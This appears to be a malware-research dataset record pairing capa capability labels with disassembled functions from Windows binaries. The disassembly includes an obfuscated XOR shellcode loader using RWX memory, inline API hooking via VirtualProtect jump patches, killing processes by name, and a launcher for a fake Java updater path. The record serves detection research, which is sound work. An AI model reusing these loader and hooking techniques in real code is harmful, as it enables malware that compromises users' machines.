joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e9b9
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x238]
sub esp, 0x2b8
mov eax, dword [0x43cddc]
xor eax, ebp
mov dword [ebp + 0x234], eax
push esi
push 0x208
xor esi, esi
lea eax, [ebp + 0x2c]
push esi
push eax
call fcn.00410610
add esp, 0xc
lea eax, [ebp + 0x2c]
push eax
push esi
push esi
push 0x2c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x40ea14
xor eax, eax
mov ecx, dword [ebp + 0x234]
xor ecx, ebp
pop esi
call fcn.0040ffe6
add ebp, 0x238
leave
ret
xor eax, eax
push ebx
mov word [ebp + 0x10], ax
push edi
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp + 0x10]
mov dword [ebp + 0x24], 7
mov dword [ebp + 0x20], esi
call fcn.0040f362
push str.JavaJava_Updatejucheck.exe
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040f773
add esp, 0xc
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp + 0x10]
call fcn.0040ec7c
push 0x22
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x10]
push 0x22
push eax
call fcn.0040f585
add esp, 0xc
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040f773
add esp, 0xc
push esi
push ebx
lea ecx, [ebp + 0x10]
call fcn.0040ec7c
push 0x40
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00410610
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 0x3c], esi
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp + 8], 8
stosd dword es:[edi], eax
mov dword [ebp - 0x80], 0x44
mov eax, ecx
jae 0x40eaae
lea eax, [ebp - 0xc]
cmp dword [ebp + 8], 8
mov edx, dword [ebp + 4]
lea eax, [eax + edx*2]
jae 0x40eabd
lea ecx, [ebp - 0xc]
push dword [ebp - 0x2c]
mov dword [ebp + 0x1c], esi
push eax
push ecx
lea ecx, [ebp + 0x1c]
mov dword [ebp + 0x20], esi
mov dword [ebp + 0x24], esi
call fcn.0040f604
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp + 0x1c]
mov dword [ebp - 0x2c], esi
call fcn.0040f30c
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x40eaee
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push esi
push esi
push 0x8000000
push ebx
push esi
push esi
push dword [ebp + 0x1c]
push eax
call fcn.0040b3a3
add esp, 0x28
test eax, eax
jne 0x40eb37
xor edi, edi
lea ecx, [ebp + 0x1c]
call fcn.0040eea9
push esi
push ebx
lea ecx, [ebp - 0xc]
call fcn.0040ec7c
push esi
push ebx
lea ecx, [ebp - 0x28]
call fcn.0040ec7c
mov eax, edi
pop edi
pop ebx
jmp 0x40e9fe
mov edi, ebx
jmp 0x40eb12
Function at 0x40f773
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40f782
pop dword [ebp - 0x48]
mov eax, 0x1328b4a9
add eax, 0xed1842d9
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xe0323f26
add dword [ebp - 0x58], 0x6e200625
mov dword [ebp - 0x54], 0xa5ca5326
sub dword [ebp - 0x54], 0x739706e1
mov dword [ebp - 0x50], 0xa5ee480c
sub dword [ebp - 0x50], 0x59a203de
mov dword [ebp - 0x4c], 0x5a4ca887
sub dword [ebp - 0x4c], 0x5a4ca887
lea eax, [ebp - 0x58]
push eax
mov eax, 0x8098ac94
sub eax, 0x8055cb3c
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x869af205
add dword [ebp - 0x58], 0xedd77751
mov dword [ebp - 0x54], 0x31a8e3d1
sub dword [ebp - 0x54], 0xf03c825c
mov dword [ebp - 0x50], 0x8458e56
sub dword [ebp - 0x50], 0xa4d621ea
mov dword [ebp - 0x4c], 0xa568955d
add dword [ebp - 0x4c], 0x5a976aa3
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xc3f797ca
add eax, 0x3c4b484a
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3d7d8
push 0
call eax
mov ecx, 0x3ab4
mov esi, eax
mov edx, 0x95cf574d
add edx, 0x6a76b8b3
add edx, dword [ebp - 0x48]
mov ebx, 0x40327b6d
add ebx, 0x3b74a15a
sub dword [ebp - 0x24], ebx
mov edi, dword [edx]
xor dword [ebp - 0x3c], edx
xor edi, ebx
xor dword [ebp - 0x38], edi
mov dword [esi], edi
sub dword [ebp - 0x2c], ecx
add esi, 4
add edx, 0xe21f95b7
sub edx, 0xe21f95b3
loop 0x40f89e
add eax, 0xdda3
xor ebx, ebx
add ebx, eax
add eax, 0x66499820
add eax, 0x99b667e5
mov ecx, 0xabd6b3e3
add ecx, 0x54694c1d
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x40ffe6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43cddc]
jne 0x40fff0
repz ret
jmp fcn.00417613
Function at 0x10005d20
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10005da1
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [esi]
push 0
push dword [ebp - 0xd0]
mov dword [ebp - 0xcc], eax
push 4
push esi
call edi
xor eax, eax
nop word [eax + eax]
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10005d70
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0xcc]
push 0
push dword [ebp - 0xd0]
mov dword [esi], eax
push 4
push esi
call edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 4

Function at 0x10005dc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10005e07
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
xor eax, eax
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10005de4
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 4

Function at 0x10005e20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005e18d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x1008700c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
cmp dword [0x1008753c], 0x10
mov eax, 0x10087528
cmovae eax, dword [0x10087528]
cmp byte [eax], 0
je 0x10005f3a
mov ecx, dword [ebp + 8]
cmp byte [ecx], 0
je 0x10005f3a
cmp dword [0x100871ac], 0x10
mov eax, 0x10087198
cmovae eax, dword [0x10087198]
cmp byte [eax], 0
je 0x10005f3a
mov esi, 0x1008d130
mov edx, ecx
sub esi, ecx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
test al, al
jne 0x10005e96
mov edx, 0x10089910
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10005eb0
mov ecx, dword [0x1008d9c4]
mov edx, 0x10087528
cmp dword [0x1008753c], 0x10
push 0x1008d130
cmovae edx, dword [0x10087528]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
test eax, eax
jne 0x10005f3a
mov ecx, 0x98
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x10079824]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x28], al
and ecx, 0x800000ff
jns 0x10005f0d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x14
jl 0x10005ef0
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], 0
mov eax, dword [0x10089154]
mov esi, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x4c]
mov ecx, dword [0x10089154]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [esi]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10005f50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005e1bd
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1008700c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae esi, dword [ebp + 8]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10005f90
sub esi, ecx
push esi
call fcn.1005d314
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
js 0x10005fbb
nop word [eax + eax]
xor byte [edx + edi], dl
lea ecx, [edx + edi]
inc edx
cmp edx, esi
jle 0x10005fb0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10005ff1
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10005fe7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10005fe7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1005d306
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x100073d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
js 0x10007407
nop
lea eax, [ebp - 8]
push eax
push 0x40
push 4
lea eax, [ebx + esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, edi
jle 0x100073f0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 8

Function at 0x10007710
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov ebx, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [edi], ecx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 8
Function at 0x10007760
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100810a8
push 0x1005cc6f
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008700c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov byte [esi], 0xe8
mov dword [esi + 1], eax
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x100077d2
mov byte [esi + eax], 0x90
inc eax
jmp 0x100077c4
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100077ec
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100122d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cmp ebx, 0x1000
jbe 0x10012327
test eax, eax
je 0x10012327
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10012326
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push dword [ebp - 0xc]
push ebx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1005cab9
mov esp, ebp
pop ebp
ret

Function at 0x10012340
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [0x1008e738]
mov ebx, edx
cmp edi, 0x1000
jbe 0x10012389
test ebx, ebx
je 0x10012389
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebx]
mov byte [edi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1005cab9
mov esp, ebp
pop ebp
ret

Function at 0x10012530
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x1000
jbe 0x1001258e
test edi, edi
je 0x1001258e
push esi
push edi
call fcn.1005d314
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 8

Function at 0x100125b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.1005d314
add esp, 4
mov ebx, eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ebx
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test edi, edi
jle 0x1001261e
sub ebx, esi
nop dword [eax + eax]
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10012602
mov al, byte [esi]
mov byte [ebx + esi], al
inc esi
sub edi, 1
jne 0x100125f0
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 8
Function at 0x10012640
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.1005d314
add esp, 4
mov ebx, eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 8]
mov edi, ebx
lea eax, [esi + ecx]
mov dword [ebp - 0x2c], eax
nop dword [eax]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
cmp edi, 0x1000
jbe 0x100126d1
test ebx, ebx
je 0x100126d1
test esi, esi
je 0x100126d1
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
lea ecx, [ebx + esi]
add edi, esi
cmp ecx, dword [ebp - 0x2c]
jb 0x10012680
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 8

Function at 0x10012700
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x1000
jbe 0x1001273e
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1005cab9
mov esp, ebp
pop ebp
ret 4
Function at 0x10012750
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x1008700c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10012802
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100127c6
test dl, dl
je 0x100127c2
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100127c6
add ecx, 2
add eax, 2
test dl, dl
jne 0x100127a6
xor eax, eax
jmp 0x100127cb
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100127f2
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100127ee
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100127a0
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1005cab9
mov esp, ebp
pop ebp
ret

Function at 0x10012820
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100816b8
push 0x1005cc6f
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008700c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x100128ba
cmp edi, 0x1000
jbe 0x100128ba
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001289f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10012890
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100128ba
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005cab9
mov esp, ebp
pop ebp
ret
Function at 0x100128e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100816d8
push 0x1005cc6f
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1008700c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, dword [0x1008e00c]
mov dword [ebp - 4], 0
cmp edi, 0x1000
jbe 0x100129b2
mov eax, 0x1004e340
cmp eax, 0x1000
jbe 0x100129b2
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
push 0x14
call fcn.1005d314
add esp, 4
mov esi, eax
mov dword [ebp - 0x2c], esi
lea eax, [ebp - 0x24]
push eax
push 0x40
push 0x14
push esi
call ebx
mov dword [esi], 0x1004e340
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 3
jg 0x10012981
mov al, byte [ebp + ecx - 0x2c]
mov byte [ebp + ecx - 0x34], al
inc ecx
jmp 0x1001296e
mov word [edi], 0x15ff
xor ecx, ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 3
ja 0x1001299b
mov al, byte [ebp + ecx - 0x34]
mov byte [edi + ecx + 2], al
inc ecx
jmp 0x10012988
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x20]
push 5
push edi
call ebx
jmp 0x100129b2
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005cab9
mov esp, ebp
pop ebp
ret

Function at 0x100129e0
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov edx, 0xa7
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x1007a660]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x2c], cl
and edx, 0x800000ff
jns 0x10012a0d
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x1e
jl 0x100129f0
lea eax, [ebp - 0x2c]
mov byte [ebp - 0xe], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x6c64746e
push eax
mov dword [ebp - 8], 0x6c642e6c
mov word [ebp - 4], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 4], 0
push 0x1004eb50
push 1
movq qword [ebp - 0xc], xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov word [ebp - 0x10], 0
mov byte [ebp - 0xe], 0
call eax
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x10012a80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100816f8
push 0x1005cc6f
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008700c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x10012b1a
cmp edi, 0x1000
jbe 0x10012b1a
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe8
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x10012aff
mov byte [esi + eax], 0x90
inc eax
jmp 0x10012af0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x10012b1a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005cab9
mov esp, ebp
pop ebp
ret

Function at 0x10012b40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008700c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0xc], eax
push ebx
mov ebx, edx
cmp eax, 0x1000
jbe 0x10012bae
push esi
push edi
lea esi, [ebx + 5]
push esi
call fcn.1005d314
add esp, 4
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0xc]
push ebx
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
lea ecx, [ebx + edi]
add esp, 0xc
lea eax, [esi - 5]
mov byte [ecx], 0xe9
sub ebx, ecx
add eax, ebx
mov dword [ecx + 1], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005cab9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.1005cab9
mov esp, ebp
pop ebp
ret